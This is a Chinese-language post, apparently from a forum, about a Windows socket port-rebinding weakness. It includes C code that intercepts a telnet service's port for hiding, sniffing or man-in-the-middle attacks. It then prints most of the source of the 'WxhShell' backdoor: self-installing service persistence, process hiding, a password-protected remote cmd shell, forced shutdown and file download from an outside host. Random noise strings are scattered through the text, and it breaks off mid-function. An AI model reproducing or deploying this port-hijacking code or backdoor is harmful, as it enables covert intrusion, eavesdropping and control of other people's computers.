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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :dwt1> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;rR/5d1! %!|O.xxRR saddr.sin_family = AF_INET; E^CiOTN z]@6fM[ saddr.sin_addr.s_addr = htonl(INADDR_ANY); Or+p%K}-7 s\3q!A?S3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &JhX+'U cUk*C 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \?lz&< 5v
_P
Oq 这意味着什么?意味着可以进行如下的攻击: ,hRN\Kt)p $>q@SJ1q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !#N\b c0rk<V%5+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m9":{JI.w Im?LIgt$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 L%h/OD >I'%!E; 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i.y)mcB4 l=={pb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >)**khuP7 ELD!{bMT 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w0J|u'H \".^K5Pm 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E>uVofhml ,r^"#C0J} #include L%\b' fs #include 2A:,;~UH #include A9:NKY{z #include uGVy6, DWORD WINAPI ClientThread(LPVOID lpParam); [f{VIE*?% int main() 4. qtp` { I;MD>%[W, WORD wVersionRequested; fiDl8=~@ DWORD ret; V5mTu)tp5 WSADATA wsaData; /-M@[p& BOOL val; ,kM)7!]N SOCKADDR_IN saddr; '%;\YD9 SOCKADDR_IN scaddr; #x@ eDnb_ int err; 0C$vS`s& SOCKET s; 27Emm
c SOCKET sc; l=m(mf?QBg int caddsize; lB;FUck9 HANDLE mt; Ol/N}M|3 DWORD tid; n"D ?I wVersionRequested = MAKEWORD( 2, 2 ); xge7r3i err = WSAStartup( wVersionRequested, &wsaData ); #JW+~FU` if ( err != 0 ) { 9pSUIl9|j printf("error!WSAStartup failed!\n"); 3iX?~ return -1; |U'I/A } *_-'/i saddr.sin_family = AF_INET; j`>^1Q g P}+wbk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y]g?2N=E +9A\HQ|22 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); obH;g* saddr.sin_port = htons(23); 47>>4_Hz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aaW]JmRb { ~$,qgf printf("error!socket failed!\n"); =H`Q~Xx return -1; ml!5:r> } dA~
3>f*b_ val = TRUE; 5K%Wa]W //SO_REUSEADDR选项就是可以实现端口重绑定的 ~Ci{3j :] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iz[gHB { MgMD\ printf("error!setsockopt failed!\n"); | A)\
: return -1; b^CNVdo' } 8p^B hd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H`QQG! //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k!L@GQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zTm]AG|0 ^A_;#vK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t0E 51Ic@ { 0y#Ih {L ret=GetLastError(); Kq6jw/T printf("error!bind failed!\n"); FY3IUG return -1; ]$iqa"{ } $.E6S<(h listen(s,2); 2t#L:vY while(1) 'DbMF?<. { OS-f(qXd+ caddsize = sizeof(scaddr); 3`.P'Fh(k //接受连接请求 4@3[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b{7E;KyY, if(sc!=INVALID_SOCKET) 19e8 { #s5N[uK^m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rRFAD{5) if(mt==NULL) oYM3Rgxf9Q { hVpCB, printf("Thread Creat Failed!\n"); va)%et0! break; n~IVNB* } L V{Q,DrP } >]D4Q<TY CloseHandle(mt); @* ust>7 } UK[v6".^h closesocket(s); J5M+FwZq WSACleanup(); [1G^/K" return 0; K95;rd } %3Z/+uT@v] DWORD WINAPI ClientThread(LPVOID lpParam) kSncZ0K{ { j Ch=@<9 SOCKET ss = (SOCKET)lpParam; 0ezYd S~o SOCKET sc; {Tp2H_EG unsigned char buf[4096]; +>f<EPGn SOCKADDR_IN saddr; Q9F) long num; W&Y"K)` DWORD val; mu]as: ~ DWORD ret; (=x"Y{% //如果是隐藏端口应用的话,可以在此处加一些判断 D@ek9ARAq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 )u:Q)
%$t saddr.sin_family = AF_INET; #o`Ny4sq/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (]2H7X:b saddr.sin_port = htons(23); PXKJ^fa if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <cN~jv-w$ { %|W.^q printf("error!socket failed!\n"); l ,|%7- return -1; JH,/jR } sYSLmUZ{ val = 100; k"UO c= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l:B;zi`)oB { L:nXW z ret = GetLastError(); wucV_p.E return -1; OW;tT=ql } $^/0<i$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z9/G4^qF { BHDML.r }M ret = GetLastError(); 3Hi+Z}8 return -1; ],etZ%z& } >`RRP}u=u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ut@RGg+f8 { yBpk$ printf("error!socket connect failed!\n"); eU+ {*YJg closesocket(sc); "8 )z=n closesocket(ss); f>j wN@( return -1; j V3)2C} } h!@,8y[B while(1) ;i uQ?MR3 { alMYk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "Y:/=
Gx //如果是嗅探内容的话,可以再此处进行内容分析和记录 l~:v
(R5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (46 {r}_O num = recv(ss,buf,4096,0); c,EBF\r8* if(num>0) \/`? send(sc,buf,num,0); UKd'+R] else if(num==0) 2.uA|~qH break; 1k8x%5p num = recv(sc,buf,4096,0); =HDI \LD< if(num>0) q Dd~2"er send(ss,buf,num,0); IE~%=/| else if(num==0) F t&+vS break; RrrK*Fk8= } unl1*4e+ closesocket(ss); ;E;To\NCYF closesocket(sc); E`\8TqO return 0 ; C2U~=q>> } % ~]xuP[ Pf_F59" e'*HS7g ========================================================== Y
qdWctUY >B -q@D 下边附上一个代码,,WXhSHELL AIl4]F5I \5
pu|2u ========================================================== Fe&qwq" \p&~,% #include "stdafx.h" zR6siAV9 qZk'tRv #include <stdio.h> @ T;L$x #include <string.h> fG LG$b #include <windows.h> \BV
0zKd #include <winsock2.h> D0G-5}s` #include <winsvc.h> z$lF)r:Bc #include <urlmon.h> CBT>"sYE1 5MTgK=c #pragma comment (lib, "Ws2_32.lib") Lm*VN~2 #pragma comment (lib, "urlmon.lib") .
v)mZp 0BPMmk #define MAX_USER 100 // 最大客户端连接数 &[R8Q|1j #define BUF_SOCK 200 // sock buffer 8^^[XbH #define KEY_BUFF 255 // 输入 buffer MhEw
_{? !eR3@%4 #define REBOOT 0 // 重启 r{Rg920 #define SHUTDOWN 1 // 关机 yTM3^R( V3N0Og3 #define DEF_PORT 5000 // 监听端口 P,pnga3Wu H!IshZfktn #define REG_LEN 16 // 注册表键长度 7k%T<;V #define SVC_LEN 80 // NT服务名长度 5ABhj* 7 [dX`K`k // 从dll定义API z2c5m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yqOuX>m 1c typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e&q?}Ho typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7^TV~E# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); faXx4A2" 4NR@u\S // wxhshell配置信息 G\gMC
<3 struct WSCFG { /?-7Fg+, int ws_port; // 监听端口 :&XH?/Wi char ws_passstr[REG_LEN]; // 口令 u`:hMFTID int ws_autoins; // 安装标记, 1=yes 0=no 0[A9b,MMVO char ws_regname[REG_LEN]; // 注册表键名 (P|~>k char ws_svcname[REG_LEN]; // 服务名 t/o N>mQG char ws_svcdisp[SVC_LEN]; // 服务显示名 "VxWj}+] char ws_svcdesc[SVC_LEN]; // 服务描述信息
cS.i char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w) ]H ^6 int ws_downexe; // 下载执行标记, 1=yes 0=no Bvjl-$m!v char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" F51.N{' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C_fY %O q6P
wZ_ }; hIv@i\` KLQTKMNv // default Wxhshell configuration 2GmpCy`L" struct WSCFG wscfg={DEF_PORT, mY!iu(R1 "xuhuanlingzhe", R\Z:n* 1, NF$\^WvYSP "Wxhshell", qk(P>q8[ "Wxhshell", g+8hp@a "WxhShell Service", 1n*W2:,z "Wrsky Windows CmdShell Service", ,.IEDF<& "Please Input Your Password: ", (WlIwKP 1, qa >Ay|92e " http://www.wrsky.com/wxhshell.exe", [&S}dQ" "Wxhshell.exe" Oeya%C5' }; -ZOBAG* d^ ZMS~\* // 消息定义模块 H&}ipaDO char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %WFu<^jm char *msg_ws_prompt="\n\r? for help\n\r#>"; S*)1|~pRvQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; n}-3o]ku char *msg_ws_ext="\n\rExit."; I 8 char *msg_ws_end="\n\rQuit."; lb'Cl 3H char *msg_ws_boot="\n\rReboot..."; F9q8SA#" char *msg_ws_poff="\n\rShutdown..."; 7\
SUr9[ char *msg_ws_down="\n\rSave to "; DrW#v-d [|`U6
8}u char *msg_ws_err="\n\rErr!"; -_VG;$,jE char *msg_ws_ok="\n\rOK!"; M.}7pJ7f #b0{#^S: char ExeFile[MAX_PATH]; _1Z=q.sC int nUser = 0; lt'I,Xt HANDLE handles[MAX_USER]; TB6m0qX( int OsIsNt; >"3>s% O!1TthI SERVICE_STATUS serviceStatus; <msxHw SERVICE_STATUS_HANDLE hServiceStatusHandle; s$h]
G[x PG5- ;i/ // 函数声明 0pe3L int Install(void); +0z 7KO%^^ int Uninstall(void); _cDF{E+; int DownloadFile(char *sURL, SOCKET wsh); _+f+`]iM int Boot(int flag); }}{!u0N},V void HideProc(void); 6"j_iB int GetOsVer(void); 0IM8 int Wxhshell(SOCKET wsl); "R
#k~R void TalkWithClient(void *cs); woH)0v int CmdShell(SOCKET sock); w[Gh+L30=5 int StartFromService(void); 72oWhX=M% int StartWxhshell(LPSTR lpCmdLine); 1m<RwI3s qUF'{K VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4R+.N VOID WINAPI NTServiceHandler( DWORD fdwControl ); v*hRz; .]4W!])9 // 数据结构和表定义 RWq{Ff}Hk SERVICE_TABLE_ENTRY DispatchTable[] = u?+bW-D'd { Wa/g`} {wscfg.ws_svcname, NTServiceMain}, e59dVFug.U {NULL, NULL} P3tx|:gV }; 7iC *Pr TTNkr` // 自我安装 +';>=hha int Install(void) E|"=.
T { {43yb_B( char svExeFile[MAX_PATH]; i?;r7> HKEY key; g8;D/ strcpy(svExeFile,ExeFile); wz8PtfZ }$su4A@0 // 如果是win9x系统,修改注册表设为自启动 y k161\ if(!OsIsNt) { )(Iy<Y?# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z T%U!jqI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yTM{|D]$( RegCloseKey(key); F-Z%6O,2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?^HfNp9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OIb RegCloseKey(key); )8gGv return 0; Aez2*g3 } 8Ad606 } %6j)=IOts } d?idTcgs else { m"tOe? @!=\R^#p // 如果是NT以上系统,安装为系统服务 {kI#A?M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {Ng oYl if (schSCManager!=0) )+I.|5g { @# P0M--X SC_HANDLE schService = CreateService vP!GJX&n5 ( mumXUX schSCManager, ]pA(K?Lbg wscfg.ws_svcname, :
DG)g3# wscfg.ws_svcdisp, *2"6fX[ SERVICE_ALL_ACCESS, rk2xKm^w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $ls[|N:y0l SERVICE_AUTO_START, C@y8.#l SERVICE_ERROR_NORMAL, M
s9E@E svExeFile, qgt[ ~i* NULL, x90*yaw>h NULL, :)f7A7 :; NULL, _K9VMczj NULL, qL5I#?OMkU NULL s,VXc/ ); |8_JY2
R if (schService!=0) 84zTCX { %bXx!x8( CloseServiceHandle(schService); OY-w?'p?W CloseServiceHandle(schSCManager); 6+rlXmd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~0"p*?^ strcat(svExeFile,wscfg.ws_svcname); N8cAqr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q*jNH\| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c{ZY,C&< RegCloseKey(key); BI[JATZG return 0; Q3W#`6jpF } aAvsb$ } RNVbcd CloseServiceHandle(schSCManager); 2Tav;LKX } pVp:@0h } `i~ Y Fr .@ C{3$,VG return 1; UUo;`rkT } Ko>&)%))$X f67NWFX // 自我卸载 4o:hyh int Uninstall(void) R$kpiqK { =tTqN+4 HKEY key; ^(}585b @*N)i?> if(!OsIsNt) { w
JwX[\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $Kj&)&M RegDeleteValue(key,wscfg.ws_regname); wle@vCmr RegCloseKey(key); fBtm%f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8{U-m0v RegDeleteValue(key,wscfg.ws_regname); ~%u|[$ RegCloseKey(key); $S*4r&8ZD return 0; hlZ@Dq%f } SZ![%)83 } S/vf'gj } v<\A% else { " }gVAAvc7 q}uHFp/J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $5`!Z%>/ if (schSCManager!=0) +Z2MIC|Ud { m%+IPZ2m SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %m5Q"4O if (schService!=0) ~\nBjM2 { h5z)Lc^ if(DeleteService(schService)!=0) { U7mozHS,:9 CloseServiceHandle(schService); PHg48Y"Nd CloseServiceHandle(schSCManager); ,''cNV return 0; jg
2qGC } ^ OJyN,A CloseServiceHandle(schService); ER2GjZa\z } V5"CSMe CloseServiceHandle(schSCManager); NY$uq+Z> } "i.r@<)S } nm$Dd~mxW1 Thy=yz;p return 1; SQsSa1 } %,@vWmn R`Aj|C
z // 从指定url下载文件 ? Q@kg int DownloadFile(char *sURL, SOCKET wsh) ~cAZB9Fa { ub0zJTFJ# HRESULT hr; k@>\LR/v char seps[]= "/"; ){s*n=KIO char *token; vqslirC char *file; <O?y-$~ char myURL[MAX_PATH]; ;cQW sTfT char myFILE[MAX_PATH]; _,Fny_u=; _fFU#k:MU strcpy(myURL,sURL); 1PaUI#X"2F token=strtok(myURL,seps); A\rt6/ while(token!=NULL) <HWS:'1 { @4~=CV%j file=token; mAgF73,3 token=strtok(NULL,seps); J`M&{UP } |XYEn7^r JN/UUfj GetCurrentDirectory(MAX_PATH,myFILE); ?q`0ZuAg\< strcat(myFILE, "\\"); \2[<XG(^ strcat(myFILE, file); TG48%L send(wsh,myFILE,strlen(myFILE),0); m4K* < send(wsh,"...",3,0); Mj>}zbpk/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); js^ ,(CS if(hr==S_OK) ~Vh(6q.oT return 0; Bsf7mcXz7z else F+UG'4% return 1; W^,S6! S-+"@>{HJ } s6*ilq1 .%EL \2 // 系统电源模块 Rx07trfN int Boot(int flag) kEeo5XN { e;bYaM4UX HANDLE hToken; Mpue TOKEN_PRIVILEGES tkp; Mvj;ic6iK CF!Sa 6 if(OsIsNt) { MmPU7Nl%X OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _3iHkQr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #H [Bb2(j tkp.PrivilegeCount = 1; zo{/'BnU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EqiFy"H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O-vGyNxP| if(flag==REBOOT) { *YTo{~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =d
2 r6%v return 0; MfF~8 } %A1@&xrbl else { rj]F87" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z0!5d< return 0; L(S'6z~_9 } z2gk[zY& } \ b
V6@#, else { yfQ5:X if(flag==REBOOT) { z@|dzvjl
Q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'z@ 0 return 0; Kr'f- { } Kyt)2p else { hD,:w%M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) in <(g@Zg return 0; $\o{_?}1 } vgt]:$ } m ~#! NvE}eA# return 1; UEs7''6RM } FLal}80.o: ~fl@ 2 // win9x进程隐藏模块 sKz`aqI void HideProc(void) >%p{38 { ]=rht9)," hDP/JN8y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d4:`@* if ( hKernel != NULL ) WtQ8X|\` { 4EI7W,y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %R#L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
e:E0 "< FreeLibrary(hKernel); 'oNO-)p\#! } yw[ # +cJy._pi! return; >FjR9B } 7qO a
;^T exh/CK4; // 获取操作系统版本 |Z\R*b" int GetOsVer(void) X)SDG#&+bF { mE O\r|A OSVERSIONINFO winfo; 8,D 2^Gg winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <H3ezv1M GetVersionEx(&winfo); q/3ziVd7p if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,jA)wJ return 1; 3<=,1 cU else spU)]4P& return 0; "q}FPJ^l_N } bawJ$_O_ i"zuil // 客户端句柄模块 jdKOb int Wxhshell(SOCKET wsl) %:>3n8n { Sw^X2$h SOCKET wsh; ?7:KphFX) struct sockaddr_in client; mS>xGtD&K DWORD myID; 0.$hn Rtb :nJ8 while(nUser<MAX_USER) &uP~rEJl+ { o)6p A^+ int nSize=sizeof(client); U~{du;\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nKR{ug>I) if(wsh==INVALID_SOCKET) return 1; {l_{T4xToB NW~z&8L handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Yw5' 6NU
if(handles[nUser]==0) -yxOBq closesocket(wsh); i|
\6JpNA: else o:Qv
JcB nUser++; mOo`ZcTU } @3fn)YQ' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W{z.?$SH G6VF>2 return 0; }(a+aHH } zX5!vaEv ['z[ // 关闭 socket 0![
+Q4" void CloseIt(SOCKET wsh) ,1'4o3 { pZ`|iLNl- closesocket(wsh); =_j vk. nUser--; 8eA+d5k\. ExitThread(0); Vz14j_ } >+.
(r] V)Z70J<' // 客户端请求句柄 d]9U^iy void TalkWithClient(void *cs) Bwr3jV?S { '65LKD ~HQ9i%exg SOCKET wsh=(SOCKET)cs; Li*eGlId char pwd[SVC_LEN]; bo.(zAz char cmd[KEY_BUFF]; f= >OJ!: char chr[1]; (SSRY 9 int i,j; N@B9
@8h 'mI'dG while (nUser < MAX_USER) { |AZg*T3:W yA{W if(wscfg.ws_passstr) { Lb LiB*D#s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MO;X>D = //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A!1;}x //ZeroMemory(pwd,KEY_BUFF); |t$Ma'P i=0; !4] 9!<.k while(i<SVC_LEN) { kyR*D1N&) jYNrD"n // 设置超时 </uOe.l>Q fd_set FdRead; kw2T> struct timeval TimeOut; &A#~)i5gF FD_ZERO(&FdRead); rD>*j~_+P FD_SET(wsh,&FdRead); !w
BJ,&E TimeOut.tv_sec=8; TAjh"JJIV TimeOut.tv_usec=0; (EPsTox int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fs/*V~@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VDTcR KfF!{g f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lRh9j l pwd =chr[0]; Uye|9/w8 ! if(chr[0]==0xd || chr[0]==0xa) { W0I#\b18 pwd=0; Bc3:}+l break; 9Fn\FYUq } !8`3GX:B_ i++; SkU9ON } h6dPO" Y^<bl2"y8 // 如果是非法用户,关闭 socket +{sqcr1G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s/089jlc } <\?wAjc, h gJ[LU| > send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |>@W
]CX[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @{Gncy| iQ{G(^sZN while(1) { \"hJCP?, A!^q
J# ZeroMemory(cmd,KEY_BUFF); &^4++ qZ@s#UiB // 自动支持客户端 telnet标准 w3jO6*_ M j=0; vq34/c^ while(j<KEY_BUFF) { =B.F;40 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j65<8svl cmd[j]=chr[0]; I%urz!CNE* if(chr[0]==0xa || chr[0]==0xd) { U*.0XNKp{ cmd[j]=0; ||yzt!n break; J90v!p- } YJ$1N!rG j++; m,fAeln
} LdJYE;k Ju ! VjFW5'{ // 下载文件 Sp@-p9# if(strstr(cmd,"http://")) { V59(Z send(wsh,msg_ws_down,strlen(msg_ws_down),0); kQ]$%Lk[ if(DownloadFile(cmd,wsh)) tBpC: SG send(wsh,msg_ws_err,strlen(msg_ws_err),0); -_$$Te else (5\NB0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tDUwy^j } 'uy/o)L else { nB .G [=~ pe|8: switch(cmd[0]) { o6 $4/I iYC9eEF
// 帮助 \l~*PG2 case '?': { V^;jJ'] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s=CK~+,/ break; 8V~vXnkM } %D * OO{ // 安装 Dd`Mv$*d8 case 'i': { &r:7g%{n
if(Install()) 7g3>jh send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;J7F J3n else o=`C<} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jlxpt)0i break; 2#k5+?-c61 } AlJ} >u // 卸载 NVRLrJWpp case 'r': { u]OW8rc if(Uninstall()) kZ"BBJ6w send(wsh,msg_ws_err,strlen(msg_ws_err),0); =FD;~ else B5$kHM%p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); itMg|%B% break; D_Bb?o5 } "jw<V,, // 显示 wxhshell 所在路径 T1H"\+ case 'p': { OrK&RC char svExeFile[MAX_PATH]; P9 Z}H(?C strcpy(svExeFile,"\n\r"); 7B?c{ strcat(svExeFile,ExeFile); Pi|o` d send(wsh,svExeFile,strlen(svExeFile),0); =9T$Gr break; 64
5z#_}C$ } *z7dl5xJ // 重启 )+fh-Ui case 'b': { }}<z/zN&^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fum0>tff if(Boot(REBOOT)) x#:| }pR send(wsh,msg_ws_err,strlen(msg_ws_err),0); "^Ybs'-
else { G+F:99A closesocket(wsh); !^ _"~ ExitThread(0); %.vVEy } `/_G$_ break; Tyck/ EO } A%^ILyU6c // 关机 0x!2ihf case 'd': { Fgh]KQ/5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G%Lt.?m[ if(Boot(SHUTDOWN)) b6*!ACY send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]~Z6; else { 0#MqD[U( closesocket(wsh); //aF5:Y# ExitThread(0); %'T #pz } =)7s $
p break; LcE+GC } ."Y
e\>k // 获取shell AQ='|% case 's': { \Acqr@D CmdShell(wsh); Pfs;0}h5 closesocket(wsh); M.>l#4s,' ExitThread(0); 2;?I>~ break; )YqXRm } T'~!9Q // 退出 )l#E}Uz case 'x': { ^,]B@t2 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !* OJ.W& CloseIt(wsh); .(WQYOMl0 break; Hik3wPnp } m?&1yU9 // 离开 Y&K;l_ case 'q': { 9`9R!=NM send(wsh,msg_ws_end,strlen(msg_ws_end),0); h*<P$t closesocket(wsh); wKsT7c' WSACleanup(); ki)#d'
} exit(1); w[ ~#av9 break; uDZT_c'Y } y
TDNNK } Kde9
$ } 3@]SKfoo1 >i6yl5s // 提示信息 aT`%;i^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3Gip<\$v } fS`$'BQ } gatB QwJb9 cA:*V|YV` return; NG6& :4! } .AU)*7Gh ',S'.U // shell模块句柄 [#sz WNfU int CmdShell(SOCKET sock) L~KM=[cn { d0,s"K7@ STARTUPINFO si; ;"m ,:5% ZeroMemory(&si,sizeof(si)); Xp}Yw"7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jfqopiSi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~appY Av PROCESS_INFORMATION ProcessInfo; /QJ?bD#a char cmdline[]="cmd"; DX|#
gUAm CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f^.AD- return 0; EEW_gFn } jNC4_q& eD#hpl // 自身启动模式 2TA*m{\Hr int StartFromService(void) L5\WpM= { eET}r24 typedef struct \(vY%DL1: { v 7x:dcV DWORD ExitStatus; N~xLu8, DWORD PebBaseAddress; $81*^ DWORD AffinityMask; )d>!"JB- DWORD BasePriority; PKzyV ; ULONG UniqueProcessId; 5hy""i ULONG InheritedFromUniqueProcessId; J`^I./ } PROCESS_BASIC_INFORMATION; oo.2Dn6z }O4^Cc6 PROCNTQSIP NtQueryInformationProcess; `9b7>Nn< fP `b>]N_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1N>|yQz static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aUtnR<6 9uQ 4u/F HANDLE hProcess; IyLx0[:U PROCESS_BASIC_INFORMATION pbi; @$+ecaVW qhz]Wm P HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z LD}a:s if(NULL == hInst ) return 0; ok4@N @ ;y2/-tL? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); oTuOw|[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 